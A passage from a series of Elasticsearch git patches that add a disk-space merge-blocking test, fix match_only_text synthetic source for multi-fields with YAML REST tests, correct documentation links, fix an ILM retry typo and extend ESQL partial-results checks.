 import org.elasticsearch.cluster.metadata.IndexMetadata;
 import org.elasticsearch.cluster.routing.allocation.DiskThresholdSettings;
@@ -19,16 +22,23 @@
 import org.elasticsearch.common.util.concurrent.EsExecutors;
 import org.elasticsearch.index.IndexNotFoundException;
 import org.elasticsearch.indices.IndicesService;
+import org.elasticsearch.plugins.Plugin;
+import org.elasticsearch.plugins.PluginsService;
+import org.elasticsearch.telemetry.TestTelemetryPlugin;
 import org.elasticsearch.test.ESIntegTestCase;
 import org.elasticsearch.threadpool.ThreadPool;
 import org.junit.BeforeClass;
 
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
 import java.util.Locale;
 import java.util.stream.IntStream;
 
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked;
 import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertNoFailures;
 import static org.hamcrest.Matchers.equalTo;
+import static org.hamcrest.Matchers.greaterThan;
 import static org.hamcrest.Matchers.lessThan;
 
 @ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, numDataNodes = 0)
@@ -40,7 +50,14 @@ public static void setAvailableDiskSpaceBufferLimit() {
         // this has to be big in order to potentially accommodate the disk space for a few 100s of docs and a few merges,
         // because of the latency to process used disk space updates, and also because we cannot reliably separate indexing from merging
         // operations at this high abstraction level (merging is triggered more or less automatically in the background)
-        MERGE_DISK_HIGH_WATERMARK_BYTES = randomLongBetween(1_000_000L, 2_000_000L);
+        MERGE_DISK_HIGH_WATERMARK_BYTES = randomLongBetween(10_000_000L, 20_000_000L);
+    }
+
+    @Override
+    protected Collection<Class<? extends Plugin>> nodePlugins() {
+        List<Class<? extends Plugin>> nodePluginsList = new ArrayList<>(super.nodePlugins());
+        nodePluginsList.add(TestTelemetryPlugin.class);
+        return nodePluginsList;
     }
 
     @Override
@@ -155,8 +172,111 @@ public void testShardCloseWhenDiskSpaceInsufficient() throws Exception {
         });
     }
 
+    public void testForceMergeIsBlockedThenUnblocked() throws Exception {
+        String node = internalCluster().startNode();
+        ensureStableCluster(1);
+        setTotalSpace(node, Long.MAX_VALUE);
+        ThreadPoolMergeExecutorService threadPoolMergeExecutorService = internalCluster().getInstance(IndicesService.class, node)
+            .getThreadPoolMergeExecutorService();
+        TestTelemetryPlugin testTelemetryPlugin = getTelemetryPlugin(node);
+        // create some index
+        final String indexName = randomAlphaOfLength(10).toLowerCase(Locale.ROOT);
+        createIndex(
+            indexName,
+            Settings.builder().put(IndexMetadata.SETTING_NUMBER_OF_REPLICAS, 0).put(IndexMetadata.SETTING_NUMBER_OF_SHARDS, 1).build()
+        );
+        // get current disk space usage (for all indices on the node)
+        IndicesStatsResponse stats = indicesAdmin().prepareStats().clear().setStore(true).get();
+        long usedDiskSpaceAfterIndexing = stats.getTotal().getStore().sizeInBytes();
+        // restrict the total disk space such that the next merge does not have sufficient disk space
+        long insufficientTotalDiskSpace = usedDiskSpaceAfterIndexing + MERGE_DISK_HIGH_WATERMARK_BYTES - randomLongBetween(1L, 10L);
+        setTotalSpace(node, insufficientTotalDiskSpace);
+        // node stats' FS stats should report that there is insufficient disk space available
+        assertBusy(() -> {
+            NodesStatsResponse nodesStatsResponse = client().admin().cluster().prepareNodesStats().setFs(true).get();
+            assertThat(nodesStatsResponse.getNodes().size(), equalTo(1));
+            NodeStats nodeStats = nodesStatsResponse.getNodes().get(0);
+            assertThat(nodeStats.getFs().getTotal().getTotal().getBytes(), equalTo(insufficientTotalDiskSpace));
+            assertThat(nodeStats.getFs().getTotal().getAvailable().getBytes(), lessThan(MERGE_DISK_HIGH_WATERMARK_BYTES));
+        });
+        int indexingRounds = randomIntBetween(2, 5);
+        while (indexingRounds-- > 0) {
+            indexRandom(
+                true,
+                true,
+                true,
+                false,
+                IntStream.range(1, randomIntBetween(2, 5))
+                    .mapToObj(i -> prepareIndex(indexName).setSource("field", randomAlphaOfLength(50)))
+                    .toList()
+            );
+        }
+        // the max segments argument makes it a blocking call
+        ActionFuture<BroadcastResponse> forceMergeFuture = indicesAdmin().prepareForceMerge(indexName).setMaxNumSegments(1).execute();
+        assertBusy(() -> {
+            // merge executor says merging is blocked due to insufficient disk space while there is a single merge task enqueued
+            assertThat(threadPoolMergeExecutorService.getMergeTasksQueueLength(), equalTo(1));
+            assertTrue(threadPoolMergeExecutorService.isMergingBlockedDueToInsufficientDiskSpace());
+            // telemetry says that there are indeed some segments enqueued to be merged
+            testTelemetryPlugin.collect();
+            assertThat(
+                testTelemetryPlugin.getLongGaugeMeasurement(MergeMetrics.MERGE_SEGMENTS_QUEUED_USAGE).getLast().getLong(),
+                greaterThan(0L)
+            );
+            // but still no merges are currently running
+            assertThat(
+                testTelemetryPlugin.getLongGaugeMeasurement(MergeMetrics.MERGE_SEGMENTS_RUNNING_USAGE).getLast().getLong(),
+                equalTo(0L)
+            );
+            // indices stats also says that no merge is currently running (blocked merges are NOT considered as "running")
+            IndicesStatsResponse indicesStatsResponse = client().admin().indices().prepareStats(indexName).setMerge(true).get();
+            long currentMergeCount = indicesStatsResponse.getIndices().get(indexName).getPrimaries().merge.getCurrent();
+            assertThat(currentMergeCount, equalTo(0L));
+        });
+        // the force merge call is still blocked
+        assertFalse(forceMergeFuture.isCancelled());
+        assertFalse(forceMergeFuture.isDone());
+        // merge executor still confirms merging is blocked due to insufficient disk space
+        assertTrue(threadPoolMergeExecutorService.isMergingBlockedDueToInsufficientDiskSpace());
+        // make disk space available in order to unblock the merge
+        if (randomBoolean()) {
+            setTotalSpace(node, Long.MAX_VALUE);
+        } else {
+            updateClusterSettings(
+                Settings.builder().put(ThreadPoolMergeExecutorService.INDICES_MERGE_DISK_HIGH_WATERMARK_SETTING.getKey(), "0b")
+            );
+        }
+        // wait for the merge call to return
+        safeGet(forceMergeFuture);
+        IndicesStatsResponse indicesStatsResponse = indicesAdmin().prepareStats(indexName).setMerge(true).get();
+        testTelemetryPlugin.collect();
+        // assert index stats and telemetry report no merging in progress (after force merge returned)
+        long currentMergeCount = indicesStatsResponse.getIndices().get(indexName).getPrimaries().merge.getCurrent();
+        assertThat(currentMergeCount, equalTo(0L));
+        assertThat(testTelemetryPlugin.getLongGaugeMeasurement(MergeMetrics.MERGE_SEGMENTS_QUEUED_USAGE).getLast().getLong(), equalTo(0L));
+        assertThat(testTelemetryPlugin.getLongGaugeMeasurement(MergeMetrics.MERGE_SEGMENTS_RUNNING_USAGE).getLast().getLong(), equalTo(0L));
+        // but some merging took place (there might have been other merges automatically triggered before the force merge call)
+        long totalMergeCount = indicesStatsResponse.getIndices().get(indexName).getPrimaries().merge.getTotal();
+        assertThat(totalMergeCount, greaterThan(0L));
+        assertThat(testTelemetryPlugin.getLongCounterMeasurement(MergeMetrics.MERGE_DOCS_TOTAL).getLast().getLong(), greaterThan(0L));
+        // assert there's a single segment after the force merge
+        List<ShardSegments> shardSegments = getShardSegments(indexName);
+        assertThat(shardSegments.size(), equalTo(1));
+        assertThat(shardSegments.get(0).getSegments().size(), equalTo(1));
+        assertAcked(indicesAdmin().prepareDelete(indexName).get());
+    }
+
     public void setTotalSpace(String dataNodeName, long totalSpace) {
         getTestFileStore(dataNodeName).setTotalSpace(totalSpace);
         refreshClusterInfo();
     }
+
+    private TestTelemetryPlugin getTelemetryPlugin(String dataNodeName) {
+        var plugin = internalCluster().getInstance(PluginsService.class, dataNodeName)
+            .filterPlugins(TestTelemetryPlugin.class)
+            .findFirst()
+            .orElseThrow();
+        plugin.resetMeter();
+        return plugin;
+    }
 }

From f8b12413a1eb3423cabc4629966c298524a7e589 Mon Sep 17 00:00:00 2001
From: Gal Lalouche <gal.lalouche@elastic.co>
Date: Sun, 29 Jun 2025 14:17:19 +0300
Subject: [PATCH 018/299] ESQL: Allow ExchangeSinkOperator and LimitOperator in
 Driver assertion (#130292)

---
 .../main/java/org/elasticsearch/compute/operator/Driver.java   | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/Driver.java b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/Driver.java
index 775ac401cd916..0ad3c64fcaf09 100644
--- a/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/Driver.java
+++ b/x-pack/plugin/esql/compute/src/main/java/org/elasticsearch/compute/operator/Driver.java
@@ -267,7 +267,8 @@ private IsBlockedResult runSingleLoopIteration() {
 
             if (op.isFinished() == false && nextOp.needsInput()) {
                 driverContext.checkForEarlyTermination();
-                assert nextOp.isFinished() == false : "next operator should not be finished yet: " + nextOp;
+                assert nextOp.isFinished() == false || nextOp instanceof ExchangeSinkOperator || nextOp instanceof LimitOperator
+                    : "next operator should not be finished yet: " + nextOp;
                 Page page = op.getOutput();
                 if (page == null) {
                     // No result, just move to the next iteration

From c49617aa8cff8dd1c9165163733a0427a5367911 Mon Sep 17 00:00:00 2001
From: Martijn van Groningen <martijn.v.groningen@gmail.com>
Date: Mon, 30 Jun 2025 10:37:59 +0200
Subject: [PATCH 019/299] Fix match_only_text bugs if defined as multi-field
 (#130188) (#130310)

* Fix match_only_text bugs if defined as multi-field

Bugs starting to occur when #129126 was merged.

Closes #129737
---
 .../extras/MatchOnlyTextFieldMapper.java      | 113 +++++++++---
 .../test/match_only_text/10_basic.yml         | 166 ++++++++++++++++++
 .../test/mapping/20_synthetic_source.yml      |  81 +++++++++
 3 files changed, 337 insertions(+), 23 deletions(-)
 create mode 100644 rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/mapping/20_synthetic_source.yml

diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
index 59f43360b09b3..387477570ece0 100644
--- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
+++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/extras/MatchOnlyTextFieldMapper.java
@@ -14,6 +14,7 @@
 import org.apache.lucene.document.Field;
 import org.apache.lucene.document.FieldType;
 import org.apache.lucene.document.StoredField;
+import org.apache.lucene.index.DocValues;
 import org.apache.lucene.index.IndexOptions;
 import org.apache.lucene.index.LeafReaderContext;
 import org.apache.lucene.index.Term;
@@ -40,7 +41,6 @@
 import org.elasticsearch.index.fielddata.IndexFieldData;
 import org.elasticsearch.index.fielddata.SourceValueFetcherSortedBinaryIndexFieldData;
 import org.elasticsearch.index.fielddata.StoredFieldSortedBinaryIndexFieldData;
-import org.elasticsearch.index.fieldvisitor.LeafStoredFieldLoader;
 import org.elasticsearch.index.fieldvisitor.StoredFieldLoader;
 import org.elasticsearch.index.mapper.BlockLoader;
 import org.elasticsearch.index.mapper.BlockSourceReader;
@@ -133,7 +133,9 @@ private MatchOnlyTextFieldType buildFieldType(MapperBuilderContext context) {
                 tsi,
                 indexAnalyzer,
                 context.isSourceSynthetic(),
-                meta.getValue()
+                meta.getValue(),
+                withinMultiField,
+                multiFieldsBuilder.hasSyntheticSourceCompatibleKeywordField()
             );
             return ft;
         }
@@ -163,17 +165,24 @@ public static class MatchOnlyTextFieldType extends StringFieldType {
         private final TextFieldType textFieldType;
         private final String originalName;
 
+        private final boolean withinMultiField;
+        private final boolean hasCompatibleMultiFields;
+
         public MatchOnlyTextFieldType(
             String name,
             TextSearchInfo tsi,
             Analyzer indexAnalyzer,
             boolean isSyntheticSource,
-            Map<String, String> meta
+            Map<String, String> meta,
+            boolean withinMultiField,
+            boolean hasCompatibleMultiFields
         ) {
             super(name, true, false, false, tsi, meta);
             this.indexAnalyzer = Objects.requireNonNull(indexAnalyzer);
             this.textFieldType = new TextFieldType(name, isSyntheticSource);
             this.originalName = isSyntheticSource ? name + "._original" : null;
+            this.withinMultiField = withinMultiField;
+            this.hasCompatibleMultiFields = hasCompatibleMultiFields;
         }
 
         public MatchOnlyTextFieldType(String name) {
@@ -182,7 +191,9 @@ public MatchOnlyTextFieldType(String name) {
                 new TextSearchInfo(Defaults.FIELD_TYPE, null, Lucene.STANDARD_ANALYZER, Lucene.STANDARD_ANALYZER),
                 Lucene.STANDARD_ANALYZER,
                 false,
-                Collections.emptyMap()
+                Collections.emptyMap(),
+                false,
+                false
             );
         }
 
@@ -209,16 +220,34 @@ private IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOExcepti
                     "Field [" + name() + "] of type [" + CONTENT_TYPE + "] cannot run positional queries since [_source] is disabled."
                 );
             }
-            if (searchExecutionContext.isSourceSynthetic()) {
+            if (searchExecutionContext.isSourceSynthetic() && withinMultiField) {
+                String parentField = searchExecutionContext.parentPath(name());
+                var parent = searchExecutionContext.lookup().fieldType(parentField);
+                if (parent.isStored()) {
+                    return storedFieldFetcher(parentField);
+                } else if (parent.hasDocValues()) {
+                    return docValuesFieldFetcher(parentField);
+                } else {
+                    assert false : "parent field should either be stored or have doc values";
+                }
+            } else if (searchExecutionContext.isSourceSynthetic() && hasCompatibleMultiFields) {
+                var mapper = (MatchOnlyTextFieldMapper) searchExecutionContext.getMappingLookup().getMapper(name());
+                var kwd = TextFieldMapper.SyntheticSourceHelper.getKeywordFieldMapperForSyntheticSource(mapper);
+                if (kwd != null) {
+                    var fieldType = kwd.fieldType();
+                    if (fieldType.isStored()) {
+                        return storedFieldFetcher(fieldType.name());
+                    } else if (fieldType.hasDocValues()) {
+                        return docValuesFieldFetcher(fieldType.name());
+                    } else {
+                        assert false : "multi field should either be stored or have doc values";
+                    }
+                } else {
+                    assert false : "multi field of type keyword should exist";
+                }
+            } else if (searchExecutionContext.isSourceSynthetic()) {
                 String name = storedFieldNameForSyntheticSource();
-                StoredFieldLoader loader = StoredFieldLoader.create(false, Set.of(name));
-                return context -> {
-                    LeafStoredFieldLoader leafLoader = loader.getLoader(context, null);
-                    return docId -> {
-                        leafLoader.advanceTo(docId);
-                        return leafLoader.storedFields().get(name);
-                    };
-                };
+                return storedFieldFetcher(name);
             }
             return context -> {
                 ValueFetcher valueFetcher = valueFetcher(searchExecutionContext, null);
@@ -234,6 +263,35 @@ private IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOExcepti
             };
         }
 
+        private static IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOException>> docValuesFieldFetcher(String name) {
+            return context -> {
+                var sortedDocValues = DocValues.getSortedSet(context.reader(), name);
+                return docId -> {
+                    if (sortedDocValues.advanceExact(docId)) {
+                        var values = new ArrayList<>(sortedDocValues.docValueCount());
+                        for (int i = 0; i < sortedDocValues.docValueCount(); i++) {
+                            long ord = sortedDocValues.nextOrd();
+                            values.add(sortedDocValues.lookupOrd(ord).utf8ToString());
+                        }
+                        return values;
+                    } else {
+                        return List.of();
+                    }
+                };
+            };
+        }
+
+        private static IOFunction<LeafReaderContext, CheckedIntFunction<List<Object>, IOException>> storedFieldFetcher(String name) {
+            var loader = StoredFieldLoader.create(false, Set.of(name));
+            return context -> {
+                var leafLoader = loader.getLoader(context, null);
+                return docId -> {
+                    leafLoader.advanceTo(docId);
+                    return leafLoader.storedFields().get(name);
+                };
+            };
+        }
+
         private Query toQuery(Query query, SearchExecutionContext searchExecutionContext) {
             return new ConstantScoreQuery(
                 new SourceConfirmedTextQuery(query, getValueFetcherProvider(searchExecutionContext), indexAnalyzer)
@@ -506,18 +564,27 @@ public MatchOnlyTextFieldType fieldType() {
 
     @Override
     protected SyntheticSourceSupport syntheticSourceSupport() {
-        return new SyntheticSourceSupport.Native(
-            () -> new StringStoredFieldFieldLoader(fieldType().storedFieldNameForSyntheticSource(), fieldType().name(), leafName()) {
-                @Override
-                protected void write(XContentBuilder b, Object value) throws IOException {
-                    if (value instanceof BytesRef valueBytes) {
-                        b.value(valueBytes.utf8ToString());
-                    } else {
-                        assert value instanceof String;
-                        b.value(value.toString());
+        if (storeSource) {
+            return new SyntheticSourceSupport.Native(
+                () -> new StringStoredFieldFieldLoader(fieldType().storedFieldNameForSyntheticSource(), fieldType().name(), leafName()) {
+                    @Override
+                    protected void write(XContentBuilder b, Object value) throws IOException {
+                        if (value instanceof BytesRef valueBytes) {
+                            b.value(valueBytes.utf8ToString());
+                        } else {
+                            assert value instanceof String;
+                            b.value(value.toString());
+                        }
                     }
                 }
+            );
+        } else {
+            var kwd = TextFieldMapper.SyntheticSourceHelper.getKeywordFieldMapperForSyntheticSource(this);
+            if (kwd != null) {
+                return new SyntheticSourceSupport.Native(() -> kwd.syntheticFieldLoader(fullPath(), leafName()));
             }
-        );
+            assert false : "there should be a suite field mapper with native synthetic source support";
+            return super.syntheticSourceSupport();
+        }
     }
 }
diff --git a/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml
index 821ab46b1bd64..1d52038e29d45 100644
--- a/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml
+++ b/modules/mapper-extras/src/yamlRestTest/resources/rest-api-spec/test/match_only_text/10_basic.yml
@@ -394,4 +394,170 @@ synthetic_source with copy_to:
   - match:
       hits.hits.0.fields.copy.0: "Apache Lucene powers Elasticsearch"
 
+---
+synthetic_source match_only_text as multi-field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: keyword
+                fields:
+                  text:
+                    type: match_only_text
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo.text: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
+
+---
+synthetic_source match_only_text as multi-field with stored keyword as parent:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: keyword
+                store: true
+                doc_values: false
+                fields:
+                  text:
+                    type: match_only_text
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo.text: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
 
+---
+synthetic_source match_only_text with multi-field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: match_only_text
+                fields:
+                  raw:
+                    type: keyword
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
+
+---
+synthetic_source match_only_text with stored multi-field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: match_only_text
+                fields:
+                  raw:
+                    type: keyword
+                    store: true
+                    doc_values: false
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
diff --git a/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/mapping/20_synthetic_source.yml b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/mapping/20_synthetic_source.yml
new file mode 100644
index 0000000000000..abc83566d00b8
--- /dev/null
+++ b/rest-api-spec/src/yamlRestTest/resources/rest-api-spec/test/mapping/20_synthetic_source.yml
@@ -0,0 +1,81 @@
+---
+synthetic_source text as multi-field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: keyword
+                fields:
+                  text:
+                    type: text
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo.text: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"
+
+---
+synthetic_source text with multi-field:
+  - requires:
+      cluster_features: [ "mapper.source.mode_from_index_setting" ]
+      reason: "Source mode configured through index setting"
+
+  - do:
+      indices.create:
+        index: synthetic_source_test
+        body:
+          settings:
+            index:
+              mapping.source.mode: synthetic
+          mappings:
+            properties:
+              foo:
+                type: text
+                fields:
+                  raw:
+                    type: keyword
+
+  - do:
+      index:
+        index: synthetic_source_test
+        id:    "1"
+        refresh: true
+        body:
+          foo: "Apache Lucene powers Elasticsearch"
+
+  - do:
+      search:
+        index: synthetic_source_test
+        body:
+          query:
+            match_phrase:
+              foo: apache lucene
+
+  - match: { "hits.total.value": 1 }
+  - match:
+      hits.hits.0._source.foo: "Apache Lucene powers Elasticsearch"

From 46dc7348bdfa14d7c6d6624c21cbcdda8dfed729 Mon Sep 17 00:00:00 2001
From: Lisa Cawley <lcawley@elastic.co>
Date: Mon, 30 Jun 2025 02:15:10 -0700
Subject: [PATCH 020/299] [DOCS] Fix broken link in semantic-text.md (#130265)
 (#130313)

This PR fixes an Asciidoc-style link that lingered in https://www.elastic.co/docs/reference/elasticsearch/mapping-reference/semantic-text
---
 .../elasticsearch/mapping-reference/semantic-text.md       | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/docs/reference/elasticsearch/mapping-reference/semantic-text.md b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
index 06ea9cc9156e3..f8c729b471255 100644
--- a/docs/reference/elasticsearch/mapping-reference/semantic-text.md
+++ b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
@@ -231,7 +231,7 @@ Refer
 to [this tutorial](docs-content://solutions/search/semantic-search/semantic-search-semantic-text.md)
 to learn more about semantic search using `semantic_text`.
 
-## Extracting Relevant Fragments from Semantic Text [semantic-text-highlighting]
+## Extracting relevant fragments from semantic text [semantic-text-highlighting]
 
 You can extract the most relevant fragments from a semantic text field by using
 the [highlight parameter](/reference/elasticsearch/rest-apis/highlighting.md) in
@@ -295,8 +295,7 @@ automatic {{infer}} and a dedicated query so you don’t need to provide further
 details.
 
 If you want to override those defaults and customize the embeddings that
-`semantic_text` indexes, you can do so by modifying <<semantic-text-params,
-parameters>>:
+`semantic_text` indexes, you can do so by modifying [parameters](#semantic-text-params):
 
 - Use `index_options` to specify alternate index options such as specific
   `dense_vector` quantization methods
@@ -398,6 +397,6 @@ PUT test-index
 * `semantic_text` fields are not currently supported as elements
   of [nested fields](/reference/elasticsearch/mapping-reference/nested.md).
 * `semantic_text` fields can’t currently be set as part
-  of [Dynamic templates](docs-content://manage-data/data-store/mapping/dynamic-templates.md).
+  of [dynamic templates](docs-content://manage-data/data-store/mapping/dynamic-templates.md).
 * `semantic_text` fields are not supported with Cross-Cluster Search (CCS) or
   Cross-Cluster Replication (CCR).

From 40e530358b777dfec796dc331d663c798496820b Mon Sep 17 00:00:00 2001
From: Niels Bauman <33722607+nielsbauman@users.noreply.github.com>
Date: Mon, 30 Jun 2025 09:57:00 -0300
Subject: [PATCH 021/299] Fix typo in ILM retry action (#130255) (#130326)

A change in #128930 introduced a typo which could result in erroneous
cluster state updates.
---
 .../elasticsearch/xpack/ilm/action/TransportRetryAction.java    | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/x-pack/plugin/ilm/src/main/java/org/elasticsearch/xpack/ilm/action/TransportRetryAction.java b/x-pack/plugin/ilm/src/main/java/org/elasticsearch/xpack/ilm/action/TransportRetryAction.java
index 5c3200c873877..2583a80a3cfb6 100644
--- a/x-pack/plugin/ilm/src/main/java/org/elasticsearch/xpack/ilm/action/TransportRetryAction.java
+++ b/x-pack/plugin/ilm/src/main/java/org/elasticsearch/xpack/ilm/action/TransportRetryAction.java
@@ -80,7 +80,7 @@ protected void masterOperation(
         submitUnbatchedTask("ilm-re-run", new AckedClusterStateUpdateTask(request, listener) {
             @Override
             public ClusterState execute(ClusterState currentState) {
-                final var project = state.metadata().getProject(projectState.projectId());
+                final var project = currentState.metadata().getProject(projectState.projectId());
                 final var updatedProject = indexLifecycleService.moveIndicesToPreviouslyFailedStep(project, request.indices());
                 return ClusterState.builder(currentState).putProjectMetadata(updatedProject).build();
             }

From 2b01c9ed75bf10f061c67eb3be300f53fe10f123 Mon Sep 17 00:00:00 2001
From: Bogdan Pintea <bogdan.pintea@elastic.co>
Date: Mon, 30 Jun 2025 16:17:21 +0200
Subject: [PATCH 022/299] ESQL: Extend the check on partial results to all REST
 ITs (#130213) (#130332)

This extends the check that no partial results are returned to the rest
of the JSON-based REST ITs.

Related: #129293
---
 .../esql/ccq/RequestIndexFilteringIT.java     | 34 +++++++++++++++++--
 .../xpack/esql/qa/rest/EsqlSpecTestCase.java  | 12 +++++--
 .../rest/RequestIndexFilteringTestCase.java   |  5 +++
 .../xpack/esql/qa/rest/RestEsqlTestCase.java  | 19 ++++++++---
 4 files changed, 60 insertions(+), 10 deletions(-)

diff --git a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/RequestIndexFilteringIT.java b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/RequestIndexFilteringIT.java
index 4b192b6aef948..c3e29602a8b8c 100644
--- a/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/RequestIndexFilteringIT.java
+++ b/x-pack/plugin/esql/qa/server/multi-clusters/src/javaRestTest/java/org/elasticsearch/xpack/esql/ccq/RequestIndexFilteringIT.java
@@ -38,6 +38,7 @@
 import static org.hamcrest.Matchers.greaterThanOrEqualTo;
 import static org.hamcrest.Matchers.hasSize;
 import static org.hamcrest.Matchers.instanceOf;
+import static org.hamcrest.Matchers.is;
 
 @ThreadLeakFilters(filters = TestClustersThreadFilter.class)
 public class RequestIndexFilteringIT extends RequestIndexFilteringTestCase {
@@ -91,6 +92,12 @@ protected String from(String... indexName) {
 
     @Override
     public Map<String, Object> runEsql(RestEsqlTestCase.RequestObjectBuilder requestObject) throws IOException {
+        return runEsql(requestObject, true);
+    }
+
+    @Override
+    public Map<String, Object> runEsql(RestEsqlTestCase.RequestObjectBuilder requestObject, boolean checkPartialResults)
+        throws IOException {
         if (requestObject.allowPartialResults() != null) {
             assumeTrue(
                 "require allow_partial_results on local cluster",
@@ -98,7 +105,7 @@ public Map<String, Object> runEsql(RestEsqlTestCase.RequestObjectBuilder request
             );
         }
         requestObject.includeCCSMetadata(true);
-        return super.runEsql(requestObject);
+        return super.runEsql(requestObject, checkPartialResults);
     }
 
     @After
@@ -154,7 +161,30 @@ public void testIndicesDontExistRemote() throws IOException {
         indexTimestampData(docsTest1, "test1", "2024-11-26", "id1");
 
         Map<String, Object> result = runEsql(
-            timestampFilter("gte", "2020-01-01").query("FROM *:foo,*:test1 METADATA _index | SORT id1 | KEEP _index, id*")
+            timestampFilter("gte", "2020-01-01").query("FROM *:foo,*:test1 METADATA _index | SORT id1 | KEEP _index, id*"),
+            false
+        );
+
+        // `foo` index doesn't exist, so the request will currently be successful, but with partial results
+        var isPartial = result.get("is_partial");
+        assertThat(isPartial, is(true));
+        assertThat(
+            result,
+            matchesMap().entry(
+                "_clusters",
+                matchesMap().entry(
+                    "details",
+                    matchesMap().entry(
+                        "remote_cluster",
+                        matchesMap().entry(
+                            "failures",
+                            matchesList().item(
+                                matchesMap().entry("reason", matchesMap().entry("reason", "no such index [foo]").extraOk()).extraOk()
+                            )
+                        ).extraOk()
+                    ).extraOk()
+                ).extraOk()
+            ).extraOk()
         );
         @SuppressWarnings("unchecked")
         var columns = (List<List<Object>>) result.get("columns");
diff --git a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/EsqlSpecTestCase.java b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/EsqlSpecTestCase.java
index 7df7eff0d189b..221aa17ee1979 100644
--- a/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/EsqlSpecTestCase.java
+++ b/x-pack/plugin/esql/qa/server/src/main/java/org/elasticsearch/xpack/esql/qa/rest/EsqlSpecTestCase.java
